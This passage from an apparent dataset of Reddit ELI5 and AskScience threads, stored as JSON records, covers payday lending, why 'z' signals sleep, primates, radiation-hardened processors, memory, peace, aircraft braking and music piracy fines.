idea of what the business model is like.\n\nThe companies often have scumy business models as well. Everything in the business is often leased from other companies that are owned by the same parent company, usually off-shore, so that if they are sued or run into any legal trouble they can fold the front company and re-open under a different name the next day leaving nothing of value to be taken by the courts.", "A payday lender offers to lend someone money \"until payday\". If you're broke, the rent is due today, but your paycheck doesn't come until tomorrow, a payday lender will give you cash now in return for an agreement to repay them once your check comes in. This means they tend to make small loans with short repayment periods. \n\nThey also charge high interest and fees, which is why people hate them. Compared to say, a mortgage, payday loans are extremely expensive for the borrower. You get your money when you need it, but the lender ends up walking away with $100s of dollars too. Because you really only need a payday loan if you're broke, they can contribute to a cycle of poverty. \n\nThe counterargument is that payday lenders can only exist IF they charge those high fees and interest rates. Repayment rates on payday loans are quite low, so a substantial amount of money the payday lender loans out never comes back. To just break even, they need to make back all of that money on the loans that *do* pay. Yes, it sucks that people with bad credit have to deal with high interest rates, but if you told payday lenders they HAD to charge lower interest rates, they would opt to close up shop instead. Then, people with bad credit can't get loans at all. \n\nSo are they \"scams\"? What I'd say to someone considering going to a payday lender is \"Have you exhausted *every other* possible way to move money around?\" Informal loans, bouncing checks, declaring bankruptcy, etc. may well be better than getting a payday loan. At the same time, the payday lender *is* providing a service at something close to the cost of providing it, even if that's a service most people should avoid using. That makes it not a scam in the traditional sense but maybe something we should train people to hate anyway. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://youtu.be/a22RkoupEgE"], [], []]}
{"q_id": "59bpsm", "title": "why are \"z\"s associated with sleeping?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/59bpsm/eli5_why_are_zs_associated_with_sleeping/", "answers": {"a_id": ["d975leb", "d976fqh", "d97912z", "d97b5aj", "d97iuga", "d97jq2f", "d97k3v0", "d97kftv", "d97oyb5", "d97pqlc", "d97rwf2", "d97tdqd", "d97tefg", "d97y7fp", "d982qtg", "d982zq6", "d98745k", "d98991n"], "score": [70, 3008, 15, 802, 298, 13, 391, 95, 4, 44, 116, 121, 8, 4, 5, 3, 3, 2], "text": ["It is onomatopoeic to English speakers for the sounds that people make when they snore. Some other language groups use other things like \"Tssssss\" or the like", "One of the most detailed answers/research I have found was provided by user \"Hugo\" on [stack exchange here](_URL_2_).  \n\n\n**In summary:**\n\n\"First of all, zzzz (or z-z-z-z) is sound of snoring, from at least 1918. (Sometimes \"a tiny saw cutting through a log\" [1948] would be used, and both the snore and saw would make the same z-z-z-z sound.) Over time, this became associated with sleep in general, but most comic reference books (e.g. 2006's KA-BOOM! A Dictionary of Comic Book Words, Symbols  &  Onomatopoeia, 2008's Comic books: how the industry works) still mainly associate it with snoring.\"\n\nOne of the first references found was [here](_URL_1_) in dialect notes, by the American Dialect Society.  \n\n\nAnother early reference, found in 1919, in a Boy's life magazine [found here](_URL_0_).  \n\n\n\n", "It's supposed to be like the sound of a saw cutting.", "An old newspaper comic strip used to have something like this for snoring: \"SDKKNNXXXXXXX\"\n\nThat always struck me as much closer to the actual snoring sound.", "Russian onomatopeia for snoring (as long as we discuss that here) is \"khrrrrrrrrrr\". And cnoring itself is called \"khrap\".\n\n(kh has a sharp start at a start of a word, but is actually very soft H, like an unconscious exhaling, or Ha-ha-ha)", "So what about triple X for pornographic material?\n\nXXX\n\nAnd, yes, explain like I'm five.\n\nEdit: Thanks for the answers guys.", "In French it tends to be \"roooon pschiiiiit rooooon pschiiiiit...\"...\n\nSomething like \"zzzzzzzz zzzzzz zzzzz\" works too, it's the sound you make when you breathe out if you have a runny nose... or if you snore slightly.", "I've always been told it comes from the phrase \"sawing logs,\" which is another way to say someone is sleeping.  Comics used to have a picture of a log being sawed in a speech bubble to symbolize someone sleeping.  Eventually, they simplified this to a 'Z' because that is the motion you make with your hands when you saw a log.  Ever since, we've seen 'Z's in comics to represent sleeping!", "It comes from Latin, where the correct pronunciation of a long Z (pictured as Zzzz...) equals the sound you hear when you are deep breathing (which you do while sleeping) ", "Related: Why do manga represent sleeping with a bubble coming out of a character's nose?", "While this is only somewhat relevant to the original question, yet potentially interesting to some - physicians give \"Z\" drugs to people with difficulties sleeping (i.e. Zolpidem, Zaleplon, EsZopiclone). \n\nAttributing \"Z's\" with sleeping has helped medical students learn these drugs for years! :D", "I used to think that it was because the end of the alphabet is a z so its like you are at the end of the night and finally tuckerin out. Little kid me was an odd one ", "Do a Google search for [pagan cause sleep symbol](_URL_0_). No idea why they decided on that shape meaning sleep, but it kinda looks like a bunch of z's so maybe the current zzz evolved from this? I have no idea if that's actually the case, just speculating. Any historians feel free to pitch in.\n(Edit: link)", "This can be summed up in one word: [onomatopoeia](_URL_0_). It's simply that that's the way English  speakers phoenetically interpret the sound of snoring. ", "These may be entirely coincidence but when contemplating this in the shower I came up with that it is the opposite of what we say when  we wake up \"Aaaah\" and because it signifies the end of our day. All the way from \"Aaaa\" to \"Zzzzzz\"", "Reminds me of this. \n\nI was 16 yrs old in 2003, when I first started using mobile phones. I was texting my then gf and she used to kiss me good night with \"*ptch*\". \n\nthe first time she sent this, I had no clue what it was. She then explained, that it was the sound of a kiss, \"*Ptch*\". ", "I used to ask the same question. My language is Arabic and we use the letter \u062e to simulate snoring. and when I was a kid when I watch cartoons or comics in English I wonder why they use Z it doesn't sound like sleep! more like the sound of bees to me.\n\nYou can use google translate to pronounce letter \u062e in Arabic. It is very hard for non Arab xD but it sounds exactly like hard snoring :D.", "If you put your tongue up to the roof of your mouth and breath in and out through that then exhaling produces a \"zzzzzzz\" sound.\n\nI also know it as \"rrrrr-zzzzzz-rrrrrr-zzzzzz\" with the \"rrrrr\" symbolizing the inhale."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://books.google.com/books?id=q8YNfaVVh5MC&amp;pg=PA26&amp;dq=zzzzzzzz%20snore&amp;hl=en&amp;ei=q3feTYLnGoucOrDmhIQK&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CDIQ6AEwAA#v=snippet&amp;q=sheet%20music&amp;f=false", "https://books.google.com/books?ei=FcveTfCbCs6q8QOP8qGbCg&amp;ct=result&amp;id=lxwOAAAAIAAJ&amp;dq=zzz%20snore%20comic&amp;q=zzz%20#v=onepage&amp;q=zzz&amp;f=false", "http://english.stackexchange.com/questions/27045/how-did-the-letter-z-come-to-be-associated-with-sleeping-snoring"], [], [], [], [], [], [], [], [], [], [], ["http://ih1.redbubble.net/image.9203077.2348/fc,135x135,white.jpg"], ["https://en.wikipedia.org/wiki/Onomatopoeia"], [], [], [], []]}
{"q_id": "1f3b4p", "title": "the difference between monkeys, chimps, gorillas, apes, etc.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1f3b4p/eli5_the_difference_between_monkeys_chimps/", "answers": {"a_id": ["ca6elyx", "ca6imir"], "score": [9, 4], "text": ["The primates are an order of mammals, like rodents and bats.\n\nIt is divided into two suborders, wet-nosed primates such as lemurs and dry-nosed primates such as monkeys.\n\nOther than tarsiers, which are small nocturnal insectivores with huge eyes from SE Asia, dry-nosed primates are divided into New World monkeys such as marmosets and capuchins, and Old World monkeys and apes such as baboons and gibbons.\n\nApes are two families of Old World dry-nosed primates that don't have tails. One family is gibbons, long-armed tree dwellers of SE Asia. The other family is hominoids. It consists of four extant genera: orangutans of Borneo and Sumatra; gorillas of the lowlands of Congo and the mountains of Rwanda; chimpanzees of much of Africa and bonobos of Congo; humans. Each of the four genera of hominoids has its own anatomical, physiological and behavioral peculiarities, but all are roughly as related as dogs and foxes, or polar bears and pandas.", "5 year old explanation:\n\nhumans, chimps, gorillas, orangutans are all apes. Monkeys are not apes, apes are not monkeys. Main difference: monkeys have tails, apes do not. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "uykn8", "title": "What is it about radiation hardened processors that makes them so expensive, and so much slower than commercial processors?", "selftext": "In reading about the soon to land Mars Science Laboratory I was shocked to find that the processors on board, dual RAD750 CPUs, were capable of only 400 MIPS, which is perhaps 1/10 the processing power of a modern smart phone. The RAD750 processing systems, which are based on older PowerPC spec, can cost over $200,000 each and required years of r & d to develop. My questions are the following:\n\n- What is it about radiation hardening that keeps these processors from attaining *at least* the same computing speeds as modern mobile processors? \n\n- Are there radiation hardened CPUs being developed off of current platforms, such as Intel's Sandy Bridge CPUs? When are they going to be available?\n\n- Why is it that commercial equipment can't just be shielded from radiation experienced in space through external means? \n\n- Didn't I just read that the Dragon capsule brought some laptops up to the ISS? Are these commercial laptops, and if so how are they not affected by the same radiation?\n\nThanks to anyone who can satisfy my curiosity!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/uykn8/what_is_it_about_radiation_hardened_processors/", "answers": {"a_id": ["c4zpxzs", "c4zq5ja", "c4zqeld", "c4zr3qu", "c4ztwb9", "c4zw3x8", "c4zxjym", "c4zxlnm", "c4zyb0w"], "score": [6, 40, 9, 17, 5, 4, 2, 3, 2], "text": ["Another question:\n\nWhy not just put a regular processor in a lead box?", " >  Didn't I just read that the Dragon capsule brought some laptops up to the ISS? Are these commercial laptops, and if so how are they not affected by the same radiation?\n\nIf the laptop you're using to write emails to the folks at home has one memory bit flip a week due to radiation, it's an annoyance. If the system controlling your orbit adjustment thrusters has one memory bit flip a week, you might well die.", " >  What is it about radiation hardening that keeps these processors from attaining at least the same computing speeds as modern mobile processors?\n\nI can't comment on what the actual factors are, but one thing to bear in mind is that there may not actually be a need for that speed. If your processor is doing some vital task, speed is probably not even that important, since even '1/10 of the processing power of a modern smart phone' is blazingly fast in calculations per second. Instead, what's really essential is *reliability*. You don't want that processor doing anything wrong (or at least undetected and wrong) for any reason.\n\nIf this is a significant factor, which is quite plausible, the lack of research into doing this with modern processors is probably that there isn't actually a good reason to. Especially since their speed comes at a big cost in design complexity and perhaps reliability.", "Basically in order to \"radiation harden\" equipment you need to do two primary things aside from shield your system:\n\n1) You need to change what material your system is made of. A single ionizing particle isn't actually going to do much if it only ionizes 1 particle in your system. It is going to do a ton if it cascades and ionizes 10000 particles and releases all of its energy. So you need to collect those additional particles, and in order to do so you have to change the base material. This can cause big cost increases since bonding different layers together at an atomic level sutible for high performance electronics is very difficult. The materials may also be suboptimal for performance and will have characteristics like lower mobility or interference.\n\n2) You need to change your transistor design. A standard field effect transistor is vulnerable to interference but there are other designs that suffer from less noise (ie lower sensitivity). However, whenever you use a lower sensitivity design generally your speed decreases because, well, the components are less sensitive!\n\nThe other thing you can do is just build redundancy into your system. However, for each piece of redundancy you build in it becomes larger, slower, and less capable. Heat generation in modern systems is the limiting factor (specifically hot spots on chips) so if you try to make a hot spot redundant you are going to have to directly cut the performance or the chip will burn out. Even then, a redundant piece of hardware located close to the original piece of hardware can be damaged by the same ionizing radiation.\n\nYou can try to shield components, but the problem is that spaceborne radiation is just too high energy. You know how in comic books superman can't see through 5mm of lead but can see through 20 feet of concrete? That doesn't happen in real life. There are no materials that interact with radiation that strongly and the most effective way to increase shielding against all types of radiation is to just increase the depth of the shield. That is very expensive in terms of weight.\n\nI'm not qualified to answer specifics but that's the general idea, at least.", "I'm not a CPU designer, but I think the answers aren't too difficult to figure out.\n\nThe RAD750 was designed in [2001](_URL_0_), so this can easily explain why it's so underpowered compared to todays processors.  The RAD750 was based off the powerPC 750, designed in 1997.  That was the era of 200mhz CPUs.\n\nThe thing you really have to understand is that there's really quite a limited market for radiation hardened CPUs.  They're used in satellites and spacecraft.  How many of them is a chip maker really going to sell?  There's not a huge drive for greater and greater performance on something like a satellite, which are mostly dumb pipes.\n\nThe RAD hardened market has long been like this.  I actually do remember back in the late 90s hearing about how they were using rad-hardened 386s back then.  So that market is always many years behind current tech.\n\nEDIT:\nThe other thing you should really think about is developer time and expertise.  Spacecraft have to work EVERY TIME, and developers want to understand everything about the CPU architecture and all the layers of the software have to be as near to perfect as possible.  Developing this all over again for a new CPU with faster performance just isn't worth it very often, so that's why these chips have very long lifetimes.  Otherwise it'd be more difficult to build extremely reliable systems that are as error free as is possible.", " >  What is it about radiation hardening that keeps these processors from attaining at least the same computing speeds as modern mobile processors? \n\nI debated posting this answer since I really don't work in the field and It's been about a decade since I learned about microcontroler fabrication and about half a decade since my quantum mechanics class. But from what I recall a large factor is the die size.\n\nThe smaller the transistor gate, the more of a chance for electron tunneling. A larger dies put larger gaps between gates, hence, less of a chance for an electron to tunnel through more material.\n\nWhen a stray ionizing particle hits whatever material is in the transistor, it can excite an electron and cause it to tunnel to another transistor, or circuit. A larger die has bigger gaps between transistors and has less of a chance to tunnel.\n\nLarger die sizes means slower speeds. Electrons have to travel further to process the same information.\n\nIt's the same thing when you overclock a cpu. You add more voltage, but when you do that, you have more of a chance to cause tunneling and bit flips. Imagine instead of overclocking an ionizing particle gives a temporary increase in voltage.", "Economics of tiny scale, mostly. If you have to spend tens millions to build the test facility, millions on development, millions to buy a fabrication plant where you do slightly altered process with more annealing, and you are barely selling any chips, the chips are going to be very, very expensive. In the software industry there is similar situation with professional tools for e.g. computer graphics (think software written for movies like Avatar), costing very crazy money because there's so few users. Same principle.\n\nIn addition, of course the radiation hardened CPU is slightly more involved in it's own right, perhaps implementing error checking, perhaps grinding the back of the die (so that there isn't the bulk of silicon acting as the particle counter), doing extra annealing steps... not so expensive in it's own right but incredibly expensive when you have to build specialized equipment to make just a few chips.\n\nedit: tl;dr; making chips themselves costs nearly nothing, but the development of chips and the manufacturing equipment is incredibly expensive, and has to be paid for through pricing of chips. It's like flying an airline with 1/100 the passengers. Alternative pricing model could of existed where NASA would pay yearly a boatload of money for equipment and engineering, and then get each chip for $20 to $100 , however many they want.", "The computers on the Space Shuttles were 400MHz each. When asked why are they so slow, one of the astronauts said \"Because they don't need any more, they're not running Windows.\" The point was that all software is properly optimized and runs a lot more efficiently, so 400MHz is more than enough for them.\n\nI don't remember where I saw the interview, might have been on the Discovery channel many years ago.", "Getting late here, but will run through some of what I know. Not an expert in the field by any means. Willing to update if this get's interest.\n\n* **What is it about radiation hardening that keeps these processors from attaining at least the same computing speeds as modern mobile processors?**\n\nHonestly not 100% sure. Likely comes down to development cost, redundancy mechanisms, and need. A big factor is manufacturing size too -- >  large nodes are less sensitive to radiation than the smaller nodes used today. Many Rad Hard processors are also just Rad Hard FPGAs, rather than ASICs. Again, this would be chosen as part of the cost-benefit analysis. \n\n* **Are there radiation hardened CPUs being developed off of current platforms, such as Intel's Sandy Bridge CPUs? When are they going to be available?**\n\nTotally unsure on this. Definitely possible. Designs are extremely closely tied to the manufacturing techniques though, so you would basically have to start from scratch in many areas. If we'd see anything, it would be years from now.\n\n* **Why is it that commercial equipment can't just be shielded from radiation experienced in space through external means?**\n\nGood question, likely a mass issue. Launches cost a LOT, just to get to LEO. Now try to pass the idea of adding extra pounds to the mars rovers and you are talking crazy. Money is less of an issue when you are talking about  hundreds of millions of dollars. Further, take a look at: [Wikipedia Link](_URL_0_)\nSomething like Lead will halve the radiation power by half when passed through 1cm. Rad Hard processors can handle  > 100 times more radiation than consumer products, so you'd need quite a bit of lead to reach the same robustness. \n\n* **Didn't I just read that the Dragon capsule brought some laptops up to the ISS? Are these commercial laptops, and if so how are they not affected by the same radiation?**\n\nLEO is vastly different than anything deep space. The ISS is quite low compared to many satellites. It's orbiting at ~400km while satellites like GPS are  > 22,000km. Atmosphere thins further up you go, so the ISS isn't seeing much in terms of radiation. Hell, people can live on it... definitely a nice environment. \n\n**Further Notes**\nThere are interesting relationships between the consumer and military products. New manufacturing techniques using Silicon on Insulator (SOI) prevent latch ups, yet the smaller manufacturing sizes decrease the possible TID (total ionizing dosage) before the gates break down, rendering the processor useless. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/RAD750"], [], [], [], ["http://en.wikipedia.org/wiki/Radiation_protection"]]}
{"q_id": "aulflq", "title": "memory recall", "selftext": "What determines, if anything, wether or not memories are stored as long term? We all have early memories that seem....random, or arbitrary. What determines what we remember? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aulflq/eli5_memory_recall/", "answers": {"a_id": ["eh8uq85"], "score": [7], "text": ["So there are a lot factors let's start with the memory models.\n\nEncoding: Store information into our brain.\n\nStorage: Retain the information we encode.\n\nRetrieval: Store  information out at a later time.\n\nAlright so first off you will have an external event occur. Such as a yellow bus passing and then a cat scratching you. Your sensory input of your eyes,ears, and smell (not all of them but for this example) then take this information into your sensory memory.\n\nSensory memory: The immediate recording of sensory information in the memory system.\n\nFrom this stage your brain makes a choice in real time. Is the information you're picking up something worth focusing on or is novel information? Your brain will then encode it into your working memory (also called short term memory).\n\nNow from this point your brain has probably decided the bus is novel and the cat scratching you is worth remembering due the sensory inputs each give you. The cat scratch hurts and the bus is something you have probably seen plenty of times.\n\nNow to get something from your working memory to long term memory. You need another step of encoding. To recap.\n\nExternal Event > Sensory Input > Sensory Memory > Encoding of external events > events are now in working memory.\n\nAlright so we wanna remember the cat scratched us for whatever reason. The next step of encoding to reach long term memory storage where we use retrieval to remember things can be accomplished in a variety of ways.\n\nSometimes we as humans make an effort to encode things. Such as studying for a test or not forgetting that persons name we just met. This is known as effortful processing. Things that we take in and do not process with effort are automatically processed. Think of the 100000 things you filter out when you look anywhere. From the patterns on the walls the amount of threads in the carpet.\n\nSo what causes long term memories to form? Like those random or arbitrary ones from childhood?\n\nStimulus that is new to you that you latch on to for either survival or interest.\n\nAdrenaline also has a way of carving vivid memories in ones long term storage. This why people that suffer trauma often have such intense memories and emotions of the traumatic event.\n\nIf you want to study to encoding something into long term memory. Effortful processing via rehearsal, Mnemonics, and Chunking are all methods commonly used.\n\nMnemonics. Vivid imagery associated with a memory to help us remember. Generally the more bizarre the better. I want to remember /u/hellaradmakayla so imagine those letters on a chalk board next to something I would not normally see. Like a bright blue pineapple.\n\nChunking. Organizing information into manageable units. Remembering the numbers 18885674567 is probably hard for most people. But as 1-888-567-4567 or how we code phone numbers it becomes easier.\n\n\nTl;Dr You must use effortful processing to store long term memories or the adrenaline from an event can also carve memories into it more deeply and vividly such as those that suffer traumatic events. As a young child your brain is forming rapidly and new stimulus is very common sometimes your brain decides this specific event or stimulus is important. Often at the younger ages a reason is hard to discern for these memories we have.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "62iw5v", "title": "What's happening in your body when you 'sober up' due to panic?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/62iw5v/whats_happening_in_your_body_when_you_sober_up/", "answers": {"a_id": ["dfmxcfm"], "score": [40], "text": ["Catecholeamine release. Norepinephrine and epinephrine are endogenous sympathomimetics that have a variety of functions but are best understood in the context of the 'fight or flight' response in the sympathetic nervous system. This response primes the body for activity that may be crucial to survival. Effects include increased heart rate and blood pressure, shunting blood away from the gut to the muscles, raising blood glucose levels, and increasing alertness and reaction time. In the setting of alcohol intoxication the effect can be a perceived sense of sobering up, however judgement, coordination, and reaction time may still be impaired. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "603rw2", "title": "\" peace doesn't mean the absence of war.\" what does it mean ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/603rw2/eli5_peace_doesnt_mean_the_absence_of_war_what/", "answers": {"a_id": ["df383at", "df385p2", "df38nti", "df3b4xd", "df3bqeb", "df3bto8", "df3c3ug", "df3c4v7", "df3c6ji", "df3cbr5", "df3chnm", "df3cn7j", "df3cqqa", "df3dfo1", "df3dmkr", "df3eb82", "df3eler", "df3f3rx"], "score": [3, 785, 43, 10, 24, 4, 2, 112, 2, 5, 2, 2, 2, 2, 2, 2, 3, 2], "text": ["Peace is defined as freedom from disturbance.  There can easily be peace during wartime considering the fact that there was a Christmas Truce during World War I, one could consider that  peace even though there was no true absence of War.\nPasted the link below if you're interested\n\n_URL_0_", "Put it this way: At the end of the Korean War, nobody won. The war just stopped. No peace was offered or accepted. Today, there is simply the tenuous halt of combat. This is not peace because if provoked either side would gladly restart the fight. \n\nIt's like ending an argument with both sides angry. Ending the argument is not peace. Hashing out your differences and becoming friendly towards each other is attaining peace. ", "Usually this phrase is about positive peace vs. negative peace. **Negative peace** means simply there is no war and large violence. **Positive peace** relates to a peaceful, calm and just society.  \nE.g. South Africa during Apartheid was not at war, but nevertheless was not a peaceful society due to the racial discrimination and tension. Similarly, right now, Eritrea does not have positive peace. The country is not at war, however many people are fleeing it because they face torture and brutal, decade-long military service.\n  \nmore stuff (rather ELI15): _URL_0_", "A totalitarian state where the citizens are prevented from being able to resist the government would be \"at peace\", but not necessarily \"peaceful\". Just because people are prevented from fighting doesn't mean hostilities aren't simmering beneath, waiting for a chance to unleash. ", "In an international development/education class I took in grad school, the professor put it like this: there's positive peace and negative peace. Negative peace just means that there isn't an active, armed conflict right this moment. That doesn't necessarily mean that people are secure or that social problems are being dealt with or that the threat of future conflict isn't there. It just means that there aren't bombs exploding around you or soldiers shooting people. Positive peace is when society actively works to solve social ills (which often exacerbate or cause conflict) and people feel secure. \n\nOr to put it another way, it's like being not-sick and being healthy. If you just don't have cancer or pneumonia or the flu right now, that doesn't necessarily mean that you're healthy or there isn't anything medically wrong that could become a worse problem later. ", "Here's another example: I hate this guy, he hates me. We fist fight all the time. But we got tired of it so we agreed to just call each other names. It really isn't peaceful but you can still consider it fighting. \n\nOnly when we stop fighting and start liking each other is when its considered peace. ", "After WWII, the Allies reintegrated the Axis nations back into their respective continents  &  they became a part of the Allies themselves. US/UK now consider Germany, Italy  &  Japan in very friendly terms. This is a \"lasting peace\".\n\nBy contrast, the \"Cold War\" w Russia is a perfect example of the time of hostile/fearful feelings without open conflict. This isn't a time of peace. Even today, while we have been closer or farther from war, Russia remains untrusted  &  antagonistic without stepping into all out war.\n\nThe United Federation of Planets has ended the Klingon War  &  grew a lasting peace. The Romulans are never at war but are never at peace either.", "The full quote is that \"Peace is *not merely* the absence of war but the presence of justice, of law, of order \u2014in short, of government.\"\n\n", "It's like one neighbor on one side of your house who would call the cops because you were too loud after 10 pm and your returned the favour if his dogs barked. For the last while nothing has happened, but you know it's a powder keg. That's the absence of war. \n\nWhere as the neighbors on the other side. You guys get along great. You make an extra casserole and give it to them. Sometimes they will mow your lawn when they are doing theirs. You guys get along and would take a big of effort to fall out. That's peace. ", "From the musical *Rent*, \"The opposite of war isn't peace: it's creation.\"\n\nPeace is the opposite of war like not being hungry is the opposite of being hungry. Sure, the two are mutually exclusive, but there's more that could be done, like being completely full, or contributing good into the world, rather than just letting everything stay the way it is.", "They ask this same question in the broadway musical, Rent, during the second half of La Vi Bohem: \"the opposite of war isn't peace, it's creation.\" And that concept keeps me thinking (i.e. war=destruction; peace=creation). Its clear creation isn't exclusive to peace, but as a binary and counter to war, I think it's an optimistic and attainable goal. ", "The same way marriages can end without going full divorce proceedings. Just because you're not outwardly attacking eachother does not mean you get along.", "Is peace in our hearts and minds?\n\n\"War is the catastrophic effect of our daily living, and so long as we do not change our daily living, no amount of legislation, controls, and sanctions will prevent war. Is peace in the mind and heart, in the way of our life, or is it merely a governmental regulation, something to be decided in the United Nations? For most of us, peace is only a matter of legislation, and we are not concerned with peace in our own minds and hearts; therefore, there can be no peace in the world. You cannot have peace, inward or outward, so long as you are ambitious, competitive, so long as you regard yourself as a German, a Hindu, a Russian, or an Englishman, so long as you are striving to become somebody in this mad world. Peace comes only when you understand all this and are no longer pursuing success in a society which is already corrupt. Only the peaceful mind, the mind that understands itself, can bring peace in the world.\"\n", "Can I offer a Christian answer?  Jesus talked about both sides of it.  \n\nIn favor of peace, he often talked about living at peace, having peace, and getting that peace from him.  If you believe what he preached and live it, one way to sum it up is to say that you'll have eternal peace because he's made everything right between you and God for all eternity.  So, if all eternity is settled, the little bit of time (in comparison to eternity) you have on Earth should be indicative of that peace and security.  John 16:33 is one verse that relates to this.\n\nBut, he also said he didn't come to bring peace, but division (or even a sword).  This points out the division that will occur within families and between friends when the principles that Jesus preaches come into conflict with some deeply-held or practiced values such as self-preservation, pride, safety, greed.  I've seen this first-hand when Christian missionaries to foreign (sometimes hostile) countries face severe opposition from parents who accuse them of neglect of their grandchildren who the missionaries take into less-safe cultures.  Matthew 10:34-39 talks about this.", "Peace **does** imply the absence of war, though. It doesn't *mean* the absence of war, in that the two aren't synonymous, but the absence of war is certainly a prerequisite for peace.", "To your question \"what does it mean\"? \n\nPeace means there is an absence of threat.\n\n", "As a \"peace scientist\" we conventionally think of peace in terms of the absence of conflict.  This is largely because we conventionally study the \"correlates of war\", or, the factors that lead or do not lead to peace, the most influential factor typically being the regime types of two states.  Consider the democratic peace, which typically holds that two states that are democratic do not go to war with one another. That does not tell you about whether the two states have peaceful relations, but rather, just do not go to war with one another. \n\nConsider the enduring rivalry of India and Pakistan.  While the two states have not gone to war recently, one can hardly call their relationship peaceful.  It is in a stalemate, where truth be told, war could occur at any point in time should the two states determine that commitments they previously agreed to were now not credible.  \n\nAlternatively, consider the relationship between the United States and the United Kingdom.  They haven't been at war in a while, but, they've transitioned into a period of positive relations marked by common affinity, partnership, and peacetime military cooperation.   \n\nFor an extensive answer, see \"The Puzzle of Peace\" by Goertz, Diehl, and Balas.  This is a new approach to understanding what we often refer to as \"positive peace\" (peace) in addition to \"negative peace\" (peace in absence of war).  In the peace science tradition, we are just revisiting the idea of positive peace, which has largely been neglected since the 1950s and 1960s.  ", "I read in some book recently by Yoval Noah Harari. Peace is not the absence of war, but the implausibility of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Christmas_truce"], [], ["https://en.wikipedia.org/wiki/Peace_and_conflict_studies#Conceptions_of_peace"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "ccp8lw", "title": "how does aircraft brake to reduce speed when landed", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ccp8lw/eli5how_does_aircraft_brake_to_reduce_speed_when/", "answers": {"a_id": ["etodpl3", "etogp1c", "etolws5", "etouxwt", "etov1o9"], "score": [56, 8, 2, 4, 2], "text": ["A combination of spoilers, engine reverse thrusters and brakes on the wheels.\n\nThe spoilers are upper surface flaps that deploy and disturb the airflow on the wing. They kill the lift on the wing to prevent the aircraft from getting enough lift to come up again, and create a lot of drag to help the plane slow down.\n\nEngine reverse thrusters work exactly as the name implies. The jet plume from the engine is re-directed forwards, so the thrust acts backwards, thus slowing the plane down.\n\nWheel brakes work more or less the same as they do in a car.", "The wheel brakes provide the majority of the deceleration, with the thrust reversers and spoilers assisting. We never rely on the reversers assistance, however. All landing calculations are achievable using just the wheel brakes.", "Additionally to the above commenters. Aircraft that lands on aircraft carriers uses a system where ropes are used for additional braking.", "Some military jets deployed a parachute on landing. Called a brake chute. The brake chute is then jettisoned as the aircraft leaves the runway and some guys will drive over and collect it.\n\nThe brakes on aircraft are more heavy duty and substantial than cars. The aircraft wheel will have what\u2019s called a brake pack, this is a sandwich made up of multiple brake discs and brake pads in layers (instead of one brake disc on a car) One layer will be stator the other rotor. The brakes get to hundreds of degrees C and some aircraft have cooling fans built into the wheels. It was common to have brake fires.\n\nSome aircraft can move nozzles in their engines to deflect the exhaust in another direction towards the front of the aircraft. This is called reverse thrust.", "Everyone here is calling them spoilers. They're literally just called speed brakes. Look at the [speed brakes](_URL_0_) on an A-10 Thunderbolt II for example. They pop open and literally create a shit ton of drag. Also people aren't mentioning flaps. Flaps don't actually slow the aircraft a whole lot, but they create a larger surface area on the wing surface to create more lift with slower speeds so the aircraft can slow down a very substantial amount before landing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://images.app.goo.gl/bB7wqePWGhPuNgmz7"]]}
{"q_id": "yyze1", "title": "what justifies fining someone $675,000 for pirating 31 songs? that's $31.00 on itunes....", "selftext": "What determines the fine meted out towards those who pirate music and why is it so ridiculously large? \n\nEDIT: whoa my inbox just got consensually gangbanged. First time that ever happened, thanks guys! \n\nEDIT 2: Yeah that might have been inconsiderate. Apologies, remedied for political correctness.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yyze1/eli5_what_justifies_fining_someone_675000_for/", "answers": {"a_id": ["c601wb2", "c602a80", "c602ban", "c602cst", "c602mj1", "c6044jp", "c604sft", "c604wds", "c6050e6", "c605d5a", "c6061zz", "c6070jm", "c607evk", "c607s90", "c607x62", "c608b16", "c608bzh", "c608txr", "c609e2o", "c60aqe2", "c60auz3", "c60avsy", "c60c284", "c60dhyl", "c60hkmu"], "score": [4, 223, 16, 5, 1802, 10, 3, 6, 39, 2, 5, 6, 4, 2, 2, 2, 4, 3, 8, 3, 7, 3, 3, 2, 2], "text": ["It's actually $30.69 at a cost of $.99 per song. ;)\n\nSorry, just being pedantic. I am not sure of the answer to your question. We all know it is outlandish, I'm not sure you're going to get an answer that ends up like \"Yeah, it's tough, but it makes sense if you look at XYZ\". ", "Well, for starters, it obviously doesn't make sense that the fine just be the cost of the music, because then who would buy music at all? If you knew the fine was just going to be the same as you would have paid, you'd have no incentive to pay in the first place. So it makes sense that the fines be higher than the actual price you would pay, because the fines are there as a *deterrent* to lawbreaking.\n\nHowever, even if the fines were ten or twenty times the cost of the \"stolen\" product, you'd get nowhere near the $675,000 figure.\n\nA quick google search would probably serve you better than asking here, but here is my (rudimentary) understanding of the factors that add up to create such ridiculous fines:\n\n1) The legal framework in place to deal with copyright infringement has not caught up with the realities of the world we currently live in, especially when it comes to questions of scale.\n\n2) Recording companies have the money to buy extremely good lawyers.", "It is my understanding copyright infringement law is mostly geared toward distribution. For example someone for example making a copy of a CD then selling it for $2.00 to a lot of people. If a person makes a copy then 